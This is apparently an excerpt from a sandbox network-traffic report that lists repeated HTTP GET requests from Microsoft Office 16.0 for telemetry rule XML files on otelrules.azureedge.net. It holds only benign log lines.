Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
